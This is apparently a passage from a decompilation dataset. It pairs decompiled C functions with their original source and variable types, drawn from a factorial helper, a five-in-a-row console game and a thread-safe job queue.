  }
     }
 }
    }
}

variable_types:
host
char *

variable_types: maxHostLen int

variable_types:
data
char *

variable_types: maxDataLen int


fact

decompiled_code:
__int64 __fastcall fact(int a1)
{
__int64 v1; // rdx
__int64 v2; // r8
__int64 i; // rax

if ( a1 <= 1 )
return 1LL;
v1 = a1;
v2 = 1LL;
for ( i = a1 - 1LL; ; --i )
{
v2 *= v1;
v1 = i;
if ( i == a1 - 1LL - (unsigned int)(a1 - 2) )
break;
}
return v2;
}

canonical_decompiled_code:
__int64 __fastcall func0(int a1)
{
__int64 v1; // rdx
__int64 v2; // r8
__int64 i; // rax

if ( a1 <= 1 )
return 1LL;
v1 = a1;
v2 = 1LL;
for ( i = a1 - 1LL; ; --i )
{
v2 *= v1;
v1 = i;
if ( i == a1 - 1LL - (unsigned int)(a1 - 2) )
break;
}
return v2;
}

original_code:
long fact(int nb)
{
  int i;
  long res;
  res = 1;
  for (i = nb; i > 1; --i)
    res = res * i;
  return res;
}

variable_types: nb int

variable_types: res long


power

decompiled_code:
__int64 __fastcall power(int a1, int a2)
{
__int64 v2; // r8
int i; // eax

v2 = a1;
if ( a2 > 1 )
{
for ( i = 1; i != a2; ++i )
v2 *= a1;
}
return v2;
}

canonical_decompiled_code:
__int64 __fastcall func1(int a1, int a2)
{
__int64 v2; // r8
int i; // eax

v2 = a1;
if ( a2 > 1 )
{
for ( i = 1; i != a2; ++i )
v2 *= a1;
}
return v2;
}

original_code:
long power(int nb, int puiss)
{
  long res = nb;
  int i;
  for (i=1; i < puiss; ++i)
    res = res * nb;
  return res;
}

variable_types: puiss int

variable_types: i int


stats

decompiled_code:
int *__fastcall stats(int *a1, int a2, __int64 a3)
{
int v4; // esi
int *result; // rax
int v7; // edi
int *v8; // rdx
__int64 v9; // r9
int i; // er8

v4 = *a1;
result = a1;
*(_DWORD *)(a3 + 8) = *a1;
*(_DWORD *)(a3 + 4) = v4;
v7 = *a1;
if ( a2 > 1 )
{
v8 = result + 1;
v9 = (__int64)&result[a2 - 2 + 2];
for ( i = v4; ; i = *(_DWORD *)(a3 + 8) )
{
result = (int *)*v8;
if ( (int)result > v4 )
*(_DWORD *)(a3 + 4) = (_DWORD)result;
if ( (int)result < i )
{
*(_DWORD *)(a3 + 8) = (_DWORD)result;
result = (int *)*v8;
}
++v8;
v7 += (int)result;
if ( v8 == (int *)v9 )
break;
v4 = *(_DWORD *)(a3 + 4);
}
}
*(float *)a3 = (float)v7 / (float)a2;
return result;
}

canonical_decompiled_code:
int *__fastcall func2(int *a1, int a2, __int64 a3)
{
int v4; // esi
int *result; // rax
int v7; // edi
int *v8; // rdx
__int64 v9; // r9
int i; // er8

v4 = *a1;
result = a1;
*(_DWORD *)(a3 + 8) = *a1;
*(_DWORD *)(a3 + 4) = v4;
v7 = *a1;
if ( a2 > 1 )
{
v8 = result + 1;
v9 = (__int64)&result[a2 - 2 + 2];
for ( i = v4; ; i = *(_DWORD *)(a3 + 8) )
{
result = (int *)*v8;
if ( (int)result > v4 )
*(_DWORD *)(a3 + 4) = (_DWORD)result;
if ( (int)result < i )
{
*(_DWORD *)(a3 + 8) = (_DWORD)result;
result = (int *)*v8;
}
++v8;
v7 += (int)result;
if ( v8 == (int *)v9 )
break;
v4 = *(_DWORD *)(a3 + 4);
}
}
*(float *)a3 = (float)v7 / (float)a2;
return result;
}

original_code:
void stats(int * numbers, int nb_numbers, struct stat_t *res)
{
  int i;
  long somme;
  res->min = numbers[0];
  res->max = numbers[0];
  somme = numbers[0];
  for (i=1; i < nb_numbers; ++i)
    {
      if (numbers[i] > res -> max) res -> max = numbers[i];
      if (numbers[i] < res -> min) res -> min = numbers[i];
      somme += numbers[i];
    }
  res -> moy = ((float)somme) / nb_numbers;
}

canonical_original_code:
void stats(int *numbers, int nb_numbers, struct stat_t *res)
{
  int i;
  long somme;
  res->min = numbers[0];
  res->max = numbers[0];
  somme = numbers[0];
  for (i=1; i < nb_numbers; ++i)
    {
      if (numbers[i] > res -> max) res -> max = numbers[i];
      if (numbers[i] < res -> min) res -> min = numbers[i];
      somme += numbers[i];
    }
  res -> moy = ((float)somme) / nb_numbers;
}

variable_types:
numbers
int *

variable_types: struct stat_t { float moy; int max; int min; } *

variable_types: somme long


main

repo: shinvwang/five-chess

decompiled_code:
int __cdecl main(int argc, const char **argv, const char **envp)
{
five_chess(argc, argv, envp);
return 0;
}

canonical_decompiled_code:
int __cdecl main(int argc, const char **argv, const char **envp)
{
func17(argc, argv, envp);
return 0;
}

original_code:
int main(int argc, char *argv[])
{
    five_chess();
    return 0;
}

variable_types:
argv
char *[]


decompiled_code:
__int64 is_draw()
{
char *v0; // rdx
char *v1; // rax

v0 = (char *)&unk_404188;
while ( 2 )
{
v1 = v0 - 40;
do
{
if ( !*(_DWORD *)v1 )
return 0LL;
v1 += 4;
}
while ( v1 != v0 );
v0 = v1 + 40;
if ( v1 != (char *)&end )
continue;
break;
}
return 1LL;
}

canonical_decompiled_code:
__int64 func8()
{
char *v0; // rdx
char *v1; // rax

v0 = (char *)&unk_404188;
while ( 2 )
{
v1 = v0 - 40;
do
{
if ( !*(_DWORD *)v1 )
return 0LL;
v1 += 4;
}
while ( v1 != v0 );
v0 = v1 + 40;
if ( v1 != (char *)&end )
continue;
break;
}
return 1LL;
}

original_code:
_Bool is_draw(void)
{
    int i, j;
    for (i = 0; i < 10; i ++) {
        for (j = 0; j < 10; j ++) {
            if(chess_board[i][j] == 0) {
                return 0;
            }
        }
    }
    return 1;
}

canonical_original_code:
_Bool is_draw()
{
    int i; int j;
    for (i = 0; i < 10; i ++) {
        for (j = 0; j < 10; j ++) {
            if(chess_board[i][j] == 0) {
                return 0;
            }
        }
    }
    return 1;
}

variable_types: j int


decompiled_code:
int clear_screen()
{
return system("clear");
}

canonical_decompiled_code:
int func9()
{
return system("clear");
}

original_code:
void clear_screen(void)
{
    system("clear");
}

canonical_original_code:
void clear_screen()
{
    system("clear");
}


decompiled_code:
int chess_board_display()
{
unsigned int v0; // ebx
__int64 v1; // rsi
int v2; // ebx
char *v3; // rbp
unsigned int v4; // er12
char *v5; // rbx
__int64 v6; // rsi

v0 = 0;
printf(" ");
do
{
v1 = v0++;
printf(" %d", v1);
}
while ( v0 != 10 );
v2 = 11;
putchar(10);
do
{
printf(" %c", 45LL);
--v2;
}
while ( v2 );
v3 = (char *)&unk_404188;
v4 = 0;
putchar(10);
do
{
v5 = v3 - 40;
printf("%d|", v4);
do
{
v6 = *(unsigned int *)v5;
v5 += 4;
printf(" %d", v6);
}
while ( v5 != v3 );
++v4;
v3 = v5 + 40;
putchar(10);
}
while ( v4 != 10 );
return putchar(10);
}

canonical_decompiled_code:
int func10()
{
unsigned int v0; // ebx
__int64 v1; // rsi
int v2; // ebx
char *v3; // rbp
unsigned int v4; // er12
char *v5; // rbx
__int64 v6; // rsi

v0 = 0;
printf(" ");
do
{
v1 = v0++;
printf(" %d", v1);
}
while ( v0 != 10 );
v2 = 11;
putchar(10);
do
{
printf(" %c", 45LL);
--v2;
}
while ( v2 );
v3 = (char *)&unk_404188;
v4 = 0;
putchar(10);
do
{
v5 = v3 - 40;
printf("%d|", v4);
do
{
v6 = *(unsigned int *)v5;
v5 += 4;
printf(" %d", v6);
}
while ( v5 != v3 );
++v4;
v3 = v5 + 40;
putchar(10);
}
while ( v4 != 10 );
return putchar(10);
}

original_code:
void chess_board_display(void)
{
    int i, j;
    printf("  ");
    for (i = 0; i < 10; i ++) {
        printf(" %d", i);
    }
    putchar('\n');
    for (i = 0; i < 10 + 1; i ++) {
        printf(" %c", '-');
    }
    putchar('\n');
    for (i = 0; i < 10; i ++) {
        printf("%d|", i);
        for (j = 0; j < 10; j ++) {
            printf(" %d", chess_board[i][j]);
        }
        putchar('\n');
    }
    putchar('\n');
}

canonical_original_code:
void chess_board_display()
{
    int i; int j;
    printf("  ");
    for (i = 0; i < 10; i ++) {
        printf(" %d", i);
    }
    putchar('\n');
    for (i = 0; i < 10 + 1; i ++) {
        printf(" %c", '-');
    }
    putchar('\n');
    for (i = 0; i < 10; i ++) {
        printf("%d|", i);
        for (j = 0; j < 10; j ++) {
            printf(" %d", chess_board[i][j]);
        }
        putchar('\n');
    }
    putchar('\n');
}


decompiled_code:
int __fastcall get_user_input(__int64 a1, __int64 a2, unsigned int a3)
{
printf("Player%d Input: ", a3);
while ( (unsigned int)__isoc99_scanf() != 2 )
{
puts("Bad Input, Re-try.");
while ( getchar() != 10 )
;
}
return getchar();
}

canonical_decompiled_code:
int __fastcall func11(__int64 a1, __int64 a2, unsigned int a3)
{
printf("Player%d Input: ", a3);
while ( (unsigned int)__isoc99_scanf() != 2 )
{
puts("Bad Input, Re-try.");
while ( getchar() != 10 )
;
}
return getchar();
}

original_code:
void get_user_input(int *px, int *py, int who)
{
    printf("Player%d Input: ", who);
    while(scanf("%d%d", px, py) != 2) {
        printf("Bad Input, Re-try.\n");
        while(getchar() != '\n');
    }
    getchar();
}

variable_types:
px
int *

variable_types:
py
int *

variable_types: who int


decompiled_code:
__int64 __fastcall is_on_board(unsigned int a1, unsigned int a2, int a3)
{
unsigned int v3; // eax

LOBYTE(v3) = a1 <= 9;
LOBYTE(a3) = a2 <= 9;
return a3 & v3;
}

canonical_decompiled_code:
__int64 __fastcall func12(unsigned int a1, unsigned int a2, int a3)
{
unsigned int v3; // eax

LOBYTE(v3) = a1 <= 9;
LOBYTE(a3) = a2 <= 9;
return a3 & v3;
}

original_code:
_Bool is_on_board(int x, int y)
{
    if ((x >= 0 && x < 10) &&
            (y >= 0 && y < 10)) {
        return 1;
    }
    return 0;
}

variable_types: x int

variable_types: y int


decompiled_code:
bool __fastcall is_empty(int a1, int a2)
{
return chess_board[10 * a1 + a2] == 0;
}

canonical_decompiled_code:
bool __fastcall func13(int a1, int a2)
{
return chess_board[10 * a1 + a2] == 0;
}

original_code:
_Bool is_empty(int x, int y)
{
    return chess_board[x][y] == 0;
}


decompiled_code:
__int64 __fastcall move_in_chess(int a1, int a2, int a3)
{
__int64 result; // rax

result = a2 + 10LL * a1;
chess_board[result] = a3;
return result;
}

canonical_decompiled_code:
__int64 __fastcall func14(int a1, int a2, int a3)
{
__int64 result; // rax

result = a2 + 10LL * a1;
chess_board[result] = a3;
return result;
}

original_code:
void move_in_chess(int x, int y, int who)
{
    chess_board[x][y] = who;
}


decompiled_code:
__int64 __fastcall chess_counter(unsigned int a1, unsigned int a2, int *a3)
{
unsigned int v3; // er12
int v4; // er9
int v5; // er10
int v6; // edx
__int64 v7; // rcx
_DWORD *v8; // r8

v3 = 0;
v4 = a3[1];
v5 = *a3;
v6 = a2;
while ( 1 )
{
a1 += v5;
a2 += v4;
if ( !(unsigned __int8)is_on_board(a1, a2, v6) || *v8 != chess_board[v7] )
break;
++v3;
}
return v3;
}

canonical_decompiled_code:
__int64 __fastcall func15(unsigned int a1, unsigned int a2, int *a3)
{
unsigned int v3; // er12
int v4; // er9
int v5; // er10
int v6; // edx
__int64 v7; // rcx
_DWORD *v8; // r8

v3 = 0;
v4 = a3[1];
v5 = *a3;
v6 = a2;
while ( 1 )
{
a1 += v5;
a2 += v4;
if ( !(unsigned __int8)func12(a1, a2, v6) || *v8 != chess_board[v7] )
break;
++v3;
}
return v3;
}

original_code:
int chess_counter(int x, int y, dir_t *dir)
{
    int nx, ny;
    int counter = 0;
    nx = x;
    ny = y;
    while(1) {
        nx += dir->dx;
        ny += dir->dy;
        if (! is_on_board(nx, ny)) {
            break;
        }
        if (chess_board[nx][ny] != chess_board[x][y]) {
            break;
        }
        counter ++;
    }
    return counter;
}

canonical_original_code:
int chess_counter(int x, int y, struct direction *dir)
{
    int nx; int ny;
    int counter = 0;
    nx = x;
    ny = y;
    while(1) {
        nx += dir->dx;
        ny += dir->dy;
        if (! is_on_board(nx, ny)) {
            break;
        }
        if (chess_board[nx][ny] != chess_board[x][y]) {
            break;
        }
        counter ++;
    }
    return counter;
}

variable_types: struct direction { int dx; int dy; char name[16]; } *

variable_types: nx int

variable_types: ny int

variable_types: counter int


decompiled_code:
__int64 __fastcall is_win(unsigned int a1, unsigned int a2)
{
int *v2; // rbp
int v3; // ebx

v2 = (int *)&dirs;
while ( 1 )
{
v3 = chess_counter(a1, a2, v2);
if ( (int)(chess_counter(a1, a2, v2 + 6) + v3) > 3 )
break;
v2 += 12;
if ( &_bss_start == (char *)v2 )
return 0LL;
}
return 1LL;
}

canonical_decompiled_code:
__int64 __fastcall func16(unsigned int a1, unsigned int a2)
{
int *v2; // rbp
int v3; // ebx

v2 = (int *)&dirs;
while ( 1 )
{
v3 = func15(a1, a2, v2);
if ( (int)(func15(a1, a2, v2 + 6) + v3) > 3 )
break;
v2 += 12;
if ( &_bss_start == (char *)v2 )
return 0LL;
}
return 1LL;
}

original_code:
_Bool is_win(int x, int y)
{
    int i;
    for (i = 0; i < 4; i ++) {
        int counter1 = chess_counter(x, y, &(dirs[i * 2]));
        int counter2 = chess_counter(x, y, &(dirs[i * 2 + 1]));
        if (counter1 + counter2 + 1 >= 5) {
            return 1;
        }
    }
    return 0;
}


decompiled_code:
int five_chess()
{
char v0; // bl
unsigned int v1; // ebp
int v2; // esi
int v3; // edi
int v4; // edx
int v5; // er8
int v6; // er9
unsigned int v8; // [rsp+8h] [rbp-20h] BYREF
unsigned int v9[7]; // [rsp+Ch] [rbp-1Ch] BYREF

v0 = 0;
chess_board_init();
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
clear_screen();
chess_board_display();
v1 = (v0 & 1) + 1;
get_user_input((__int64)&v8, (__int64)v9, v1);
v2 = v9[0];
v3 = v8;
if ( (unsigned __int8)is_on_board(v8, v9[0], v4) )
break;
puts("Bad Location, Re-try.");
getchar();
}
if ( is_empty(v3, v2) )
break;
puts("Not Empty, Re-try.");
getchar();
}
move_in_chess(v5, v6, v1);
if ( (unsigned __int8)is_win(v8, v9[0]) )
{
clear_screen();
chess_board_display();
return printf("Player%d win.\n", v1);
}
if ( (unsigned __int8)is_draw() )
break;
++v0;
}
return puts("Draw, Game Over.");
}

canonical_decompiled_code:
int func17()
{
char v0; // bl
unsigned int v1; // ebp
int v2; // esi
int v3; // edi
int v4; // edx
int v5; // er8
int v6; // er9
unsigned int v8; // [rsp+8h] [rbp-20h] BYREF
unsigned int v9[7]; // [rsp+Ch] [rbp-1Ch] BYREF

v0 = 0;
func7();
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
func9();
func10();
v1 = (v0 & 1) + 1;
func11((__int64)&v8, (__int64)v9, v1);
v2 = v9[0];
v3 = v8;
if ( (unsigned __int8)func12(v8, v9[0], v4) )
break;
puts("Bad Location, Re-try.");
getchar();
}
if ( func13(v3, v2) )
break;
puts("Not Empty, Re-try.");
getchar();
}
func14(v5, v6, v1);
if ( (unsigned __int8)func16(v8, v9[0]) )
{
func9();
func10();
return printf("Player%d win.\n", v1);
}
if ( (unsigned __int8)func8() )
break;
++v0;
}
return puts("Draw, Game Over.");
}

original_code:
void five_chess(void)
{
    int who;
    int x, y;
    int step = 0;
    chess_board_init();
    while(1) {
        clear_screen();
        chess_board_display();
        who = step % 2 + 1;
        get_user_input(&x, &y, who);
        if (! is_on_board(x, y)) {
            printf("Bad Location, Re-try.\n");
            getchar();
            continue;
        }
        if (! is_empty(x, y)) {
            printf("Not Empty, Re-try.\n");
            getchar();
            continue;
        }
        move_in_chess(x, y, who);
        if (is_win(x, y)) {
            clear_screen();
            chess_board_display();
            printf("Player%d win.\n", who);
            break;
        }
        if (is_draw()) {
            printf("Draw, Game Over.\n");
            break;
        }
        step ++;
    }
}

canonical_original_code:
void five_chess()
{
    int who;
    int x; int y;
    int step = 0;
    chess_board_init();
    while(1) {
        clear_screen();
        chess_board_display();
        who = step % 2 + 1;
        get_user_input(&x, &y, who);
        if (! is_on_board(x, y)) {
            printf("Bad Location, Re-try.\n");
            getchar();
            continue;
        }
        if (! is_empty(x, y)) {
            printf("Not Empty, Re-try.\n");
            getchar();
            continue;
        }
        move_in_chess(x, y, who);
        if (is_win(x, y)) {
            clear_screen();
            chess_board_display();
            printf("Player%d win.\n", who);
            break;
        }
        if (is_draw()) {
            printf("Draw, Game Over.\n");
            break;
        }
        step ++;
    }
}

variable_types: step int


repo: shishirng/ndmp

decompiled_code:
_QWORD *init_queue()
{
_QWORD *v0; // r12

v0 = calloc(1uLL, 0x20uLL);
v0[2] = get_lock();
return v0;
}

canonical_decompiled_code:
_QWORD *func0()
{
_QWORD *v0; // r12

v0 = calloc(1uLL, 0x20uLL);
v0[2] = get_lock();
return v0;
}

original_code:
struct queue_hdr* init_queue()
{
        struct queue_hdr* retval = (struct queue_hdr *) calloc(1,
                        sizeof(struct queue_hdr));
        retval->lock = get_lock();
        return retval;
}

canonical_original_code:
struct queue_hdr *init_queue()
{
        struct queue_hdr *retval = (struct queue_hdr *) calloc(1,
                        sizeof(struct queue_hdr));
        retval->lock = get_lock();
        return retval;
}

variable_types: struct queue_hdr { struct queue_node { void *elem; struct queue_node *next; } *first; struct queue_node *last; struct lock { union pthread_mutex_t { struct __pthread_mutex_s { int __lock; unsigned int __count; int __owner; unsigned int __nusers; int __kind; short __spins; short __elision; struct __pthread_internal_list { struct __pthread_internal_list *__prev; struct __pthread_internal_list *__next; } __list; } __data; char __size[40]; long __align; } mutex; } *lock; int num_elems; } *

user_defined_types: struct queue_hdr { struct queue_node *first; struct queue_node *last; struct lock *lock; int num_elems; }

user_defined_types: struct lock { union pthread_mutex_t mutex; }

user_defined_types: union pthread_mutex_t { struct __pthread_mutex_s __data; char __size[40]; long __align; }

user_defined_types: struct __pthread_mutex_s { int __lock; unsigned int __count; int __owner; unsigned int __nusers; int __kind; short __spins; short __elision; struct __pthread_internal_list __list; }


enqueue

decompiled_code:
__int64 __fastcall enqueue(__int64 a1, __int64 a2)
{
_QWORD *v3; // rax
__int64 v4; // rdi
_QWORD *v5; // rbp

v3 = malloc(0x10uLL);
v4 = *(_QWORD *)(a1 + 16);
*v3 = a2;
v5 = v3;
v3[1] = 0LL;
enter_critical_section(v4);
if ( *(_QWORD *)a1 )
*(_QWORD *)(*(_QWORD *)(a1 + 8) + 8LL) = v5;
else
*(_QWORD *)a1 = v5;
*(_QWORD *)(a1 + 8) = v5;
++*(_DWORD *)(a1 + 24);
return exit_critical_section(*(_QWORD *)(a1 + 16));
}

canonical_decompiled_code:
__int64 __fastcall func1(__int64 a1, __int64 a2)
{
_QWORD *v3; // rax
__int64 v4; // rdi
_QWORD *v5; // rbp

v3 = malloc(0x10uLL);
v4 = *(_QWORD *)(a1 + 16);
*v3 = a2;
v5 = v3;
v3[1] = 0LL;
enter_critical_section(v4);
if ( *(_QWORD *)a1 )
*(_QWORD *)(*(_QWORD *)(a1 + 8) + 8LL) = v5;
else
*(_QWORD *)a1 = v5;
*(_QWORD *)(a1 + 8) = v5;
++*(_DWORD *)(a1 + 24);
return exit_critical_section(*(_QWORD *)(a1 + 16));
}

original_code:
void enqueue(struct queue_hdr* hdr, void *elem)
{
        struct queue_node *node = (struct queue_node *) malloc(
                        sizeof(struct queue_node));
        node->elem = elem;
        node->next = ((void *)0);
        enter_critical_section(hdr->lock);
        if (hdr->first == ((void *)0) ) {
                hdr->first = node;
                hdr->last = node;
        } else {
                hdr->last->next = node;
                hdr->last = node;
        }
        hdr->num_elems++;
        exit_critical_section(hdr->lock);
}

canonical_original_code:
void enqueue(struct queue_hdr *hdr, void *elem)
{
        struct queue_node *node = (struct queue_node *) malloc(
                        sizeof(struct queue_node));
        node->elem = elem;
        node->next = ((void *)0);
        enter_critical_section(hdr->lock);
        if (hdr->first == ((void *)0) ) {
                hdr->first = node;
                hdr->last = node;
        } else {
                hdr->last->next = node;
                hdr->last = node;
        }
        hdr->num_elems++;
        exit_critical_section(hdr->lock);
}

variable_types:
elem
void *

variable_types: struct queue_node { void *elem; struct queue_node *next; } *

user_defined_types: struct __pthread_internal_list { struct __pthread_internal_list *__prev; struct __pthread_internal_list *__next; }


dequeue

decompiled_code:
__int64 __fastcall dequeue(__int64 a1)
{
__int64 *v2; // rdi
__int64 v3; // r12

enter_critical_section(*(_QWORD *)(a1 + 16));
v2 = *(__int64 **)a1;
if ( v2 )
{
v3 = *v2;
*(_QWORD *)a1 = v2[1];
free(v2);
--*(_DWORD *)(a1 + 24);
}
else
{
v3 = 0LL;
}
exit_critical_section(*(_QWORD *)(a1 + 16));
return v3;
}

original_code:
void *dequeue(struct queue_hdr *hdr)
{
        void* retval;
        struct queue_node *node;
        enter_critical_section(hdr->lock);
        if (hdr->first == ((void *)0) ) {
                exit_critical_section(hdr->lock);
                return ((void *)0) ;
        }
        node = hdr->first;
        hdr->first = node->next;
        retval = node->elem;
        free(node);
        hdr->num_elems--;
        exit_critical_section(hdr->lock);
        return retval;
}

canonical_original_code:
void *dequeue(struct queue_hdr *hdr)
{
        void *retval;
        struct queue_node *node;
        enter_critical_section(hdr->lock);
        if (hdr->first == ((void *)0) ) {
                exit_critical_section(hdr->lock);
                return ((void *)0) ;
        }
        node = hdr->first;
        hdr->first = node->next;
        retval = node->elem;
        free(node);
        hdr->num_elems--;
        exit_critical_section(hdr->lock);
        return retval;
}

variable_types:
retval
void *

user_defined_types: struct queue_node { void *elem; struct queue_node *next; }


decompiled_code:
__int64 __fastcall get_elem(_QWORD *a1, __int64 a2, unsigned int (__fastcall *a3)(__int64, _QWORD))
{
_QWORD *v4; // rbx
__int64 result; // rax

enter_critical_section(a1[2]);
v4 = (_QWORD *)*a1;
if ( *a1 )
{
while ( !a3(a2, *v4) )
{
v4 = (_QWORD *)v4[1];
if ( !v4 )
goto LABEL_6;
}
exit_critical_section(a1[2]);
result = *v4;
}
else
{
LABEL_6:
exit_critical_section(a1[2]);
result = 0LL;
}
return result;
}

canonical_decompiled_code:
__int64 __fastcall func3(_QWORD *a1, __int64 a2, unsigned int (__fastcall *a3)(__int64, _QWORD))
{
_QWORD *v4; // rbx
__int64 result; // rax

enter_critical_section(a1[2]);
v4 = (_QWORD *)*a1;
if ( *a1 )
{
while ( !a3(a2, *v4) )
{
v4 = (_QWORD *)v4[1];
if ( !v4 )
goto LABEL_6;
}
exit_critical_section(a1[2]);
result = *v4;
}
else
{
LABEL_6:
exit_critical_section(a1[2]);
result = 0LL;
}
return result;
}

original_code:
void* get_elem(struct queue_hdr *hdr, void* target, comparator cmp)
{
        int result;
        struct queue_node *node;
        enter_critical_section(hdr->lock);
        node = hdr->first;
        while (node != ((void *)0) ) {
                result = cmp(target, node->elem);
                if (result) {
                        exit_critical_section(hdr->lock);
                        return node->elem;
                } else
                        node = node->next;
        }
        exit_critical_section(hdr->lock);
        return ((void *)0) ;
}

canonical_original_code:
void *get_elem(struct queue_hdr *hdr, void *target, int (*cmp)(void *target, void *elem))
{
        int result;
        struct queue_node *node;
        enter_critical_section(hdr->lock);
        node = hdr->first;
        while (node != ((void *)0) ) {
                result = cmp(target, node->elem);
                if (result) {
                        exit_critical_section(hdr->lock);
                        return node->elem;
                } else
                        node = node->next;
        }
        exit_critical_section(hdr->lock);
        return ((void *)0) ;
}

variable_types:
target
void *

variable_types:
cmp
int (*)(void *target, void *elem)

variable_types: result int


decompiled_code:
__int64 __fastcall remove_elem(__int64 a1, __int64 a2, unsigned int (__fastcall *a3)(__int64, _QWORD))
{
_QWORD *v4; // r13
_QWORD *i; // rbp

enter_critical_section(*(_QWORD *)(a1 + 16));
v4 = *(_QWORD **)a1;
if ( *(_QWORD *)a1 )
{
for ( i = *(_QWORD **)a1; !a3(a2, *i); i = (_QWORD *)i[1] )
{
v4 = i;
if ( !i[1] )
return exit_critical_section(*(_QWORD *)(a1 + 16));
}
if ( *(_QWORD **)a1 == i )
{
*(_QWORD *)a1 = i[1];
}
else if ( *(_QWORD **)(a1 + 8) == i )
{
*(_QWORD *)(a1 + 8) = v4;
v4[1] = 0LL;
}
else
{
v4[1] = i[1];
}
--*(_DWORD *)(a1 + 24);
free(i);
}
return exit_critical_section(*(_QWORD *)(a1 + 16));
}

canonical_decompiled_code:
__int64 __fastcall func4(__int64 a1, __int64 a2, unsigned int (__fastcall *a3)(__int64, _QWORD))
{
_QWORD *v4; // r13
_QWORD *i; // rbp

enter_critical_section(*(_QWORD *)(a1 + 16));
v4 = *(_QWORD **)a1;
if ( *(_QWORD *)a1 )
{
for ( i = *(_QWORD **)a1; !a3(a2, *i); i = (_QWORD *)i[1] )
{
v4 = i;
if ( !i[1] )
return exit_critical_section(*(_QWORD *)(a1 + 16));
}
if ( *(_QWORD **)a1 == i )
{
*(_QWORD *)a1 = i[1];
}
else if ( *(_QWORD **)(a1 + 8) == i )
{
*(_QWORD *)(a1 + 8) = v4;
v4[1] = 0LL;
}
else
{
v4[1] = i[1];
}
--*(_DWORD *)(a1 + 24);
free(i);
}
return exit_critical_section(*(_QWORD *)(a1 + 16));
}

original_code:
void remove_elem(struct queue_hdr *hdr, void* target, comparator cmp)
{
        struct queue_node *node, *nodeprev;
        enter_critical_section(hdr->lock);
        nodeprev = hdr->first;
        node = nodeprev;
        while (node != ((void *)0) ) {
                if (cmp(target, node->elem)) {
                        if (node == hdr->first) {
                                hdr->first = node->next;
                        }
                        else if (node == hdr->last) {
                                hdr->last = nodeprev;
                                nodeprev->next = ((void *)0);
                        }
                        else {
                                nodeprev->next = node->next;
                        }
                        hdr->num_elems--;
                        free(node);
                        break;
                }
                nodeprev = node;
                node = node->next;
        }
        exit_critical_section(hdr->lock);
}

canonical_original_code:
void remove_elem(struct queue_hdr *hdr, void *target, int (*cmp)(void *target, void *elem))
{
        struct queue_node *node; struct queue_node *nodeprev;
        enter_critical_section(hdr->lock);
        nodeprev = hdr->first;
        node = nodeprev;
        while (node != ((void *)0) ) {
                if (cmp(target, node->elem)) {
                        if (node == hdr->first) {
                                hdr->first = node->next;
                        }
                        else if (node == hdr->last) {
                                hdr->last = nodeprev;
                                nodeprev->next = ((void *)0);
                        }
                        else {
                                nodeprev->next = node->next;
                        }
                        hdr->num_elems--;
                        free(node);
                        break;
                }
                nodeprev = node;
                node = node->next;
        }
        exit_critical_section(hdr->lock);
}


decompiled_code:
__int64 __fastcall num_elems(__int64 a1)
{
unsigned int v1; // er12

enter_critical_section(*(_QWORD *)(a1 + 16));
v1 = *(_DWORD *)(a1 + 24);
exit_critical_section(*(_QWORD *)(a1 + 16));
return v1;
}

canonical_decompiled_code:
__int64 __fastcall func5(__int64 a1)
{
unsigned int v1; // er12

enter_critical_section(*(_QWORD *)(a1 + 16));
v1 = *(_DWORD *)(a1 + 24);
exit_critical_section(*(_QWORD *)(a1 + 16));
return v1;
}

original_code:
int num_elems(struct queue_hdr *hdr)
{
        int retval = 0;
        enter_critical_section(hdr->lock);
        retval = hdr->num_elems;
        exit_critical_section(hdr->lock);
        return retval;
}

variable_types: retval int


decompiled_code:
void __fastcall __noreturn run_job(void *a1)
{
__int64 v2; // rdi

while ( 1 )
{
v2 = dequeue(*((_QWORD *)a1 + 4));
if ( v2 )
{
(*(void (__fastcall **)(__int64))a1)(v2);
puts("Processed a job ");
}
else
{
pthread_yield();
}
}
}

canonical_decompiled_code:
void __fastcall __noreturn func0(void *a1)
{
__int64 v2; // rdi

while ( 1 )
{
v2 = dequeue(*((_QWORD *)a1 + 4));
if ( v2 )
{
(*(void (__fastcall **)(__int64))a1)(v2);
puts("Processed a job ");
}
else
{
pthread_yield();
}
}
}

original_code:
void* run_job(void *context)
{
        struct comm_context *ctx = (struct comm_context *)context;
        struct client_txn *job;
        while (1) {
                job = (struct client_txn *)dequeue(ctx->request_jobs);
                if (job != ((void *)0)) {
                        ctx->marshal_unmarshal(job);
                        printf("Processed a job \n");
                }
                else {
                        pthread_yield();
                }
        }
        return ctx;
}

canonical_original_code:
void *run_job(void *context)
{
        struct comm_context *ctx = (struct comm_context *)context;
        struct client_txn *job;
        while (1) {
                job = (struct client_txn *)dequeue(ctx->request_jobs);
                if (job != ((void *)0)) {
                        ctx->marshal_unmarshal(job);
                        printf("Processed a job \n");
                }
                else {
                        pthread_yield();
                }
        }
        return ctx;
}

variable_types:
context
void *

variable_types: struct comm_context { void (*marshal_unmarshal)(struct client_txn { struct session { int session_id; struct client_endpoint { struct sockaddr_in { unsigned short sin_family; unsigned short sin_port; struct in_addr { unsigned int s_addr; } sin_addr; unsigned char sin_zero[-1]; } client; int fd; } client_info; } client_session; struct comm_message { int is_tcp_connect; char message[2048]; int length; } request; struct comm_message reply; } *); int (*cleanup_session)(struct client_txn *); void (*terminate_session)(int session_id); struct queue_hdr { struct queue_node { void *elem; struct queue_node *next; } *first; struct queue_node *last; struct lock { union pthread_mutex_t { struct __pthread_mutex_s { int __lock; unsigned int __count; int __owner; unsigned int __nusers; int __kind; short __spins; short __elision; struct __pthread_internal_list { struct __pthread_internal_list *__prev; struct __pthread_internal_list *__next; } __list; } __data; char __size[40]; long __align; } mutex; } *lock; int num_elems; } *sessions; struct queue_hdr *request_jobs; struct queue_hdr *reply_jobs; int maxfds; } *

user_defined_types: struct comm_context { void (*marshal_unmarshal)(struct client_txn *); int (*cleanup_session)(struct client_txn *); void (*terminate_session)(int session_id); struct queue_hdr *sessions; struct queue_hdr *request_jobs; struct queue_hdr *reply_jobs; int maxfds; }

user_defined_types: struct client_txn { struct session client_session; struct comm_message request; struct comm_message reply; }

user_defined_types: struct session { int session_id; struct client_endpoint client_info; }

user_defined_types: struct client_endpoint { struct sockaddr_in client; int fd; }


decompiled_code:
int __fastcall create_worker_threads(int a1)
{
size_t v3; // r13
__int64 v4; // rbx
void *v5; // rax
pthread_t *v6; // rdi
void *v7; // rax

if ( !threads )
{
v3 = 8LL * (a1 + 1);
threads = (__int64)malloc(v3);
if ( a1 > 0 )
{
v4 = 0LL;
do
{
v5 = (void *)comm_context();
